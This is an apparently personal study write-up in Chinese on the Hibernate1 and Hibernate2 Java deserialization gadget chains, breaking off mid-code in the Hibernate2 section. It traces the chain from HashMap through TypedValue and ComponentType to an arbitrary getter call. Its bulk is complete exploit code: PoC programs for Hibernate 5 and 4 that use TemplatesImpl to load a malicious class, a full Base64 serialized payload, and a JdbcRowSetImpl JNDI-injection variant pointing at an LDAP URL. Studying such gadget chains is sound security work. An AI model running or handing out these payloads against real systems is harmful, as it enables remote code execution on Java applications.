java反序列化之Hibernate

hibernate1

hibernate>=5

导入依赖

1
2
3
4
5
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>5.6.15.Final</version>
</dependency>

分析

先看一手yso中的gadget

1
2
3
4
5
6
7
8
9
10
/**
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*/

可以看到漏洞点是GetterMethodImpl类中的get()方法,该方法中直接进行了一个invoke的调用

其中的getterMethod可以通过反射赋值

image-20250312205306201

我们跟着gadget往上跟到AbstractComponentTuplizer.getPropertyValue(),同样的,getter数组还是能够被反射赋值

image-20250312210125558

继续往上跟,componentTuplizer可控,若componentTuplizer为我们上面说到的AbstractComponentTuplizer类的对象的话,即可触发利用链

image-20250312210947843

往上走的话还是本类中的getHashCode()方法调用了getPropertyValue方法

image-20250312211107994

查找getHashCode()方法的用法,发现是在TypedValue类的initTransients()下的initialize()中一个匿名类里面的调用

image-20250312211423927

initTransients()方法在该类的构造函数中进行了调用,所以在后续进行反序列化的过程中调用TypedValue的构造方法时候便会生成一个DeferredInitializer匿名类实例

image-20250312211719877

跟着gadget继续往上走,ValueHolder的getValue()方法会调用上面提到的匿名类中的initialize()方法

image-20250312212742398

查找getValue()方法的用法,跑回到了TypedValue类里面,是该类中的hashCode()方法

image-20250312213126672

这里我们用HashMap类作为入口类,在反序列化时会调用TypedValue的hashCode()方法,怎么调用的呢

在它的readObject方法中会调用putVal方法,其中会再调用hash()方法

image-20250312214655678

image-20250312214717859

构造poc

承接上面的分析,在调用TypedValue的hashCode()方法后,往下走会调用该类中type属性的getHashCode方法

image-20250313164455385

根据上面的分析我们可以知道type必须是ComponetType类对象

其构造函数参数都是hibernate自己封装的一些类,也都不是JavaBean,给创建ComponentType对象带来了不小的麻烦

image-20250313164901121

于是乎这里引入了ReflectionFactory,能够绕过构造函数创建一个对象

https://www.cnblogs.com/strongmore/p/15470175.html

这里写个方法方便之后进行调用

1
2
3
4
5
6
7
public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

所以在生成TypedValue对象时便如下所示

1
TypedValue typedValue = new TypedValue(componentType,"11");

通过上面的createObjWithoutConstructor函数我们生成的是一个干干净净的ComponentType对象,它的各种属性我们都没有进行赋值

所以我们要对一些必要的属性进行反射赋值

通过对getHashCode方法的观察,我们知道继续调用getPropertyValue方法的时候我们的x和i后续会传入componentTuplizer.getPropertyValue(component, i)中

image-20250313171804990

我们要走进其for循环中,所以先给propertySpan赋值2,走进getPropertyValue( x, i );

来到412行的componentTuplizer.getPropertyValue( component, i ),这个componentTuplizer需要是一个AbstractComponentTuplizer对象

但AbstractComponentTuplizer类是一个抽象类,所以我们必须找到它的实现类

这里用的是PojoComponentTuplizer类,反射赋值

1
2
3
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

setField(componentType,"componentTuplizer",pojoComponentTuplizer);

这样子的话就会走到AbstractComponentTuplizer类中的getPropertyValue()方法中

image-20250313200055786

在这个方法里面只要getters[i]是GetterMethodImpl对象,component是调用恶意getter的对象就行了

说到调用恶意getter的对象,很容易就联想到了前面学的CB链和jackson中相关的poc都有利用到TemplateImpl类的getOutputProperties()方法,getOutputProperties()方法又进一步调用TemplateImpl.newTransformer()方法,从而实现恶意类加载

这里我们需要对getters数组进行赋值,但AbstractComponentTuplizer是一个抽象类,所以我们必须获取它的class测i可以进行赋值

1
2
3
4
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", TemplatesImpl.class.getDeclaredMethod("getOutputProperties"))});

走到GetterMethodImpl类中的get方法后,我们只要让该方法的owner参数为之前利用的template对象即可

封装一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static TemplatesImpl getTemplateImpl() throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test1.class"));
Class<?> c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);


TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _classField = templatesClass.getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates,new Class[]{c1});

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

return templates;
}

然后在TypedValue构造函数处赋值一下

1
TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());

最初版本的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception{
HashMap<Object,Object> hashMap = new HashMap<>();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", TemplatesImpl.class.getDeclaredMethod("getOutputProperties"))});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);
hashMap.put(typedValue,1);

byte[] bytes = ser(hashMap);
System.out.println(Base64.getEncoder().encodeToString(bytes));
unser(bytes);
}

public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static TemplatesImpl getTemplateImpl() throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
Class<?> c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);


TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _classField = templatesClass.getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates,new Class[]{c1});

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

return templates;
}

public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}
}

运行后确实弹出了计算器,但是却报错了,是在put的时候触发gadget的经典问题,但是由于这个利用链中很多对象的赋值都不符合规范甚至未赋值,抛npe也是正常的

image-20250313211356945

但是这样一来我们就没办法输出一个序列化之后的hashMap了,那就得想办法不让他在put的时候将链子走下去

对hashMap进行一波小改

1
2
3
4
5
6
7
8
9
10
hashMap.put(1,1);

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
if (entry != null){
setField(entry,"key",typedValue);
}
}

这时候就可以触发反序列化,并且输出payload了

image-20250313212229170

把这一段base64拿去测试,成功弹窗

1
2
3
byte[] bytes1 = Base64.getDecoder().decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IAI29yZy5oaWJlcm5hdGUuZW5naW5lLnNwaS5UeXBlZFZhbHVlh4gUshmh5zwCAAJMAAR0eXBldAAZTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO0wABXZhbHVldAASTGphdmEvbGFuZy9PYmplY3Q7eHBzcgAgb3JnLmhpYmVybmF0ZS50eXBlLkNvbXBvbmVudFR5cGXHO08ZYmxfcgIADVoAHGNyZWF0ZUVtcHR5Q29tcG9zaXRlc0VuYWJsZWRaABJoYXNOb3ROdWxsUHJvcGVydHlaAAVpc0tleUkADHByb3BlcnR5U3BhbkwAD2NhbkRvRXh0cmFjdGlvbnQAE0xqYXZhL2xhbmcvQm9vbGVhbjtbAAdjYXNjYWRldAAoW0xvcmcvaGliZXJuYXRlL2VuZ2luZS9zcGkvQ2FzY2FkZVN0eWxlO0wAEWNvbXBvbmVudFR1cGxpemVydAAxTG9yZy9oaWJlcm5hdGUvdHVwbGUvY29tcG9uZW50L0NvbXBvbmVudFR1cGxpemVyO0wACmVudGl0eU1vZGV0ABpMb3JnL2hpYmVybmF0ZS9FbnRpdHlNb2RlO1sAC2pvaW5lZEZldGNodAAaW0xvcmcvaGliZXJuYXRlL0ZldGNoTW9kZTtbAA1wcm9wZXJ0eU5hbWVzdAATW0xqYXZhL2xhbmcvU3RyaW5nO1sAE3Byb3BlcnR5TnVsbGFiaWxpdHl0AAJbWlsADXByb3BlcnR5VHlwZXN0ABpbTG9yZy9oaWJlcm5hdGUvdHlwZS9UeXBlO1sAIXByb3BlcnR5VmFsdWVHZW5lcmF0aW9uU3RyYXRlZ2llc3QAJltMb3JnL2hpYmVybmF0ZS90dXBsZS9WYWx1ZUdlbmVyYXRpb247eHIAH29yZy5oaWJlcm5hdGUudHlwZS5BYnN0cmFjdFR5cGXJFpSxstQ41AIAAHhwAAAAAAAAAnBwc3IAM29yZy5oaWJlcm5hdGUudHVwbGUuY29tcG9uZW50LlBvam9Db21wb25lbnRUdXBsaXplcsBwOcjTg59YAgAETAAOY29tcG9uZW50Q2xhc3N0ABFMamF2YS9sYW5nL0NsYXNzO0wACW9wdGltaXplcnQAMExvcmcvaGliZXJuYXRlL2J5dGVjb2RlL3NwaS9SZWZsZWN0aW9uT3B0aW1pemVyO0wADHBhcmVudEdldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADHBhcmVudFNldHRlcnQAKkxvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hyADdvcmcuaGliZXJuYXRlLnR1cGxlLmNvbXBvbmVudC5BYnN0cmFjdENvbXBvbmVudFR1cGxpemVy8vZxKVYnaN0CAAVaABJoYXNDdXN0b21BY2Nlc3NvcnNJAAxwcm9wZXJ0eVNwYW5bAAdnZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvR2V0dGVyO0wADGluc3RhbnRpYXRvcnQAIkxvcmcvaGliZXJuYXRlL3R1cGxlL0luc3RhbnRpYXRvcjtbAAdzZXR0ZXJzdAArW0xvcmcvaGliZXJuYXRlL3Byb3BlcnR5L2FjY2Vzcy9zcGkvU2V0dGVyO3hwAAAAAAB1cgArW0xvcmcuaGliZXJuYXRlLnByb3BlcnR5LmFjY2Vzcy5zcGkuR2V0dGVyOyaF+ANJPbfPAgAAeHAAAAABc3IAPW9yZy5oaWJlcm5hdGUucHJvcGVydHkuYWNjZXNzLnNwaS5HZXR0ZXJNZXRob2RJbXBsJFNlcmlhbEZvcm2sW7ZWyd0bWAIABEwADmNvbnRhaW5lckNsYXNzcQB+ABNMAA5kZWNsYXJpbmdDbGFzc3EAfgATTAAKbWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wADHByb3BlcnR5TmFtZXEAfgAfeHB2cgAQamF2YS5sYW5nLk9iamVjdAAAAAAAAAAAAAAAeHB2cgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AB9MABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cHQAE2dldE91dHB1dFByb3BlcnRpZXN0AANxd3FwcHBwcHBwcHBwcHBzcQB+ACMAAAAAAAAAAHB1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAF2cgAQb3JnLmV4YW1wbGUuVGVzdAAAAAAAAAAAAAAAeHB0AAM2NjZwdwEAeHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABeA==");

unser(bytes1);

最终poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception{
HashMap<Object,Object> hashMap = new HashMap<>();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", TemplatesImpl.class.getDeclaredMethod("getOutputProperties"))});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);
hashMap.put(1,1);

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
if (entry != null){
setField(entry,"key",typedValue);
}
}

byte[] bytes = ser(hashMap);
System.out.println(Base64.getEncoder().encodeToString(bytes));
unser(bytes);
}

public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static TemplatesImpl getTemplateImpl() throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
Class<?> c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);


TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _classField = templatesClass.getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates,new Class[]{c1});

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

return templates;
}

public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}
}

hibernate<5

依赖导入

1
2
3
4
5
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>4.3.11.Final</version>
</dependency>

在依赖更新完了之后我们再看上面的poc,会看到报错如下

image-20250314194234108

Getter和GetterMethodImpl类在Hibernate版本为4的时候都不存在

所以我们需要在这个版本找一个平替的

在小于5.0的hiberate下,存在BasicPropertyAccessor.BasicGetter.get()

和前面的GetterMethodImpl中的get()方法几乎一模一样

image-20250314194949446

但是很可惜的是这里的method参数是transient的,transient修饰的参数不会参与进反序列化过程中

但是在BasicPropertyAccessor.BasicGetter中有一个方法叫做readResolve()方法(在lab5中有提及到),在反序列化过程中只要该方法有被定义,那么就一定会被调用

image-20250314200323164

我们跟进createGetter方法

image-20250314200400440

继续跟进getGetterOrNull方法

image-20250314200552547

该方法里面通过getterMethod函数来获取method,要是获取到了的话那么就会返回一个BasicGetter对象

我们跟进getterMethod方法

image-20250314200809926

我们可以知道method其实就是从theClass中获取到所有与propertyName同值的getter(get或者是is开头的)

到这里我们差不多就知道了后面相关部分要怎么改动了

我们需要给BasicGetter的clazz参数赋一个包含有getter漏洞的class,然后propertyName参数的值要为getter对应的属性名

举个例子,我们要利用TemplatesImpl中的getOutputProperties()方法,那么class的值就是TemplatesImpl的class,然后propertyName的值就是OutputProperties

看一下BasicGetter的构造函数

image-20250314201602439

是私有的,那我们就需要用到反射来进行赋值

创建一个BasicGetter(Method的赋值随意,重点在于propertyName)

1
2
3
4
Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class;
Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class});
basicGetterConstructor.setAccessible(true);
BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties"),"OutputProperties");

稍微改一下getters数组

1
2
3
4
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{basicGetter});

成功触发poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.BasicPropertyAccessor;
import org.hibernate.property.Getter;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception{
HashMap<Object,Object> hashMap = new HashMap<>();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
TypedValue typedValue = new TypedValue(componentType,getTemplateImpl());
Class basicGetterClass = BasicPropertyAccessor.BasicGetter.class;
Constructor basicGetterConstructor = basicGetterClass.getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class});
basicGetterConstructor.setAccessible(true);
BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGetterConstructor.newInstance(TemplatesImpl.class,TemplatesImpl.class.getDeclaredMethod("getOutputProperties"),"OutputProperties");
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);
Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{basicGetter});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);
hashMap.put(1,1);

Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(hashMap);
for (Object entry: table){
if (entry != null){
setField(entry,"key",typedValue);
}
}

byte[] bytes = ser(hashMap);
System.out.println(Base64.getEncoder().encodeToString(bytes));
unser(bytes);
}

public static Object createObjWithoutConstructor(Class clazz) throws Exception{
ReflectionFactory reflectionFactory = ReflectionFactory.getReflectionFactory();
Constructor<Object> constructor = Object.class.getDeclaredConstructor();
Constructor<?> constructor1 = reflectionFactory.newConstructorForSerialization(clazz,constructor);
constructor1.setAccessible(true);
return constructor1.newInstance();
}

public static void setField(Object object,String fieldName,Object value) throws Exception{
Class<?> c = object.getClass();
Field field = c.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object,value);
}

public static TemplatesImpl getTemplateImpl() throws Exception{
ClassLoader classLoader = ClassLoader.getSystemClassLoader();
byte[] bytes = Files.readAllBytes(Paths.get("E:\\mycode\\tmp\\Test.class"));
Class<?> c = Class.forName("java.lang.ClassLoader");
Method m = c.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class<?> c1 = (Class<?>) m.invoke(classLoader,bytes,0,bytes.length);


TemplatesImpl templates = new TemplatesImpl();
Class<?> templatesClass = templates.getClass();
Field _classField = templatesClass.getDeclaredField("_class");
_classField.setAccessible(true);
_classField.set(templates,new Class[]{c1});

Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"666");

Field _transletIndexField = templatesClass.getDeclaredField("_transletIndex");
_transletIndexField.setAccessible(true);
_transletIndexField.set(templates,0);

Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());

return templates;
}

public static byte[] ser(Object o) throws Exception{
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(o);
return byteArrayOutputStream.toByteArray();
}

public static Object unser(byte[] bytes) throws Exception{
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
return objectInputStream.readObject();
}
}

hibernate2

依然看一下yso里面提供的链子

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* javax.naming.InitialContext.InitialContext.lookup()
* com.sun.rowset.JdbcRowSetImpl.connect()
* com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData()
* org.hibernate.property.access.spi.GetterMethodImpl.get()
* org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
* org.hibernate.type.ComponentType.getPropertyValue(C)
* org.hibernate.type.ComponentType.getHashCode()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.engine.spi.TypedValue$1.initialize()
* org.hibernate.internal.util.ValueHolder.getValue()
* org.hibernate.engine.spi.TypedValue.hashCode()
*/

从上面的链子可知大部分和Hibernate1的差不多,只需要改一下getter数组的值就可以了

这里利用的是jndi注入漏洞,需要前面在fastjson中提到的JdbcRowSetImpl

之前由于在fastjson中对于getter调用的条件比较严格,所以并没有用上这个getter方法,但是这一次的hiberate链中可以实现任意getter调用

image-20250314211625296

poc只需要稍微修改一手,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package org.example;

import com.sun.rowset.JdbcRowSetImpl;
import org.hibernate.engine.spi.TypedValue;
import org.hibernate.property.access.spi.Getter;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.ComponentType;
import sun.reflect.ReflectionFactory;

import javax.sql.rowset.BaseRowSet;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception{
HashMap<Object,Object> hashMap = new HashMap<>();
ComponentType componentType = (ComponentType) createObjWithoutConstructor(ComponentType.class);
setField(componentType,"propertySpan",2);
PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) createObjWithoutConstructor(PojoComponentTuplizer.class);

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

Class c0 = BaseRowSet.class;
Field dataSourceField = c0.getDeclaredField("dataSource");
dataSourceField.setAccessible(true);
dataSourceField.set(jdbcRowSet,"ldap://127.0.0.1:10389/cn=test,dc=example,dc=com");

Class<?> c = AbstractComponentTuplizer.class;
Field field = c.getDeclaredField("getters");
field.setAccessible(true);
field.set(pojoComponentTuplizer,new Getter[]{new GetterMethodImpl(Object.class,"qwq", JdbcRowSetImpl.class.getDeclaredMethod("getDatabaseMetaData"))});

setField(componentType,"componentTuplizer",pojoComponentTuplizer);
hashMap.put(1,1);

TypedValue typedValue = new TypedValue(componentType,jdbcRowSet);
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
